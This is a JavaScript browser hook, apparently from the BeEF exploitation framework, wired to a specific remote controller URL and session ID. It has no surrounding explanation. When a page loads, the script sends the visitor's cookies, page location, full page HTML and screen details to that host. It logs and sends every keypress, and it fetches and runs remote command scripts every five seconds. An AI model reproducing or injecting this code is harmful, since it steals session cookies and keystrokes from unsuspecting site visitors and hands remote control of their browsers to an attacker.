top.document.onkeypress = catch_key; if (window.attachEvent) window.attachEvent('onload', beef_onload); else if (window.addEventListener) window.addEventListener('load', beef_onload, 0); beef_url = "http://ms.awardspace.us/beef/"; function beef_onload() { return_result('cookie', document.cookie); save_page(); return_result('loc', document.location); } var key_history = new Array(4); var magic_seq = ['B','e','E','F']; // ---[ SAVE_PAGE function save_page() { var a = document.body.innerHTML; var begin = 0; var block_size = 1000; while (a.length > begin) { return_result('html', a.substring(begin,begin+block_size)); begin = begin+block_size; } } // ---[ CATCH_KEY function catch_key(e) { var keynum; if(window.event) { // IE keynum = event.keyCode; } else if(e.which) { // Netscape/Firefox/Opera keynum = e.which; } else { //TODO handle error return 0; } //TODO add ctrl, shift and alt checks // there is currently no support these keys var keychar = String.fromCharCode(keynum); // keep key history for(i=0;i<3;i++) { key_history[i] = key_history[i+1]; } key_history[3] = keychar; // check if history is magic_seq var escape_beef = true; for(i=0;i<4;i++) { if(key_history[i] != magic_seq[i]){ escape_beef = false; } } if(escape_beef) { // TODO add options alert('Controlled by BeEF - http://www.bindshell.net'); } // return key to beef return_result('kl', keychar); } var sw = screen.width; var sh = screen.height; var sd = screen.colorDepth; return_result('screen', sw+ "x" +sh+ " with " +sd+ "-bit colour"); // ---[ RETURN_RESULT // send result to beef function return_result(action, data) { var img_tmp = new Image(); var src = beef_url + '/hook/return.php?BeEFSession=c42b04ec309715944f79340b300a8a85&action=' + action + '&data=' + escape(data); img_tmp.src = src; } function include(script_filename) { var html_doc = document.getElementsByTagName('head').item(0); var js = document.createElement('script'); js.src = script_filename; js.type = 'text/javascript'; js.defer = true; html_doc.appendChild(js); return js; } // run autorun module include(beef_url + '/hook/autorun.js.php?BeEFSession=c42b04ec309715944f79340b300a8a85&'); // start heartbeat setInterval(function () { include(beef_url + '/hook/command.php?BeEFSession=c42b04ec309715944f79340b300a8a85&'); }, 5000);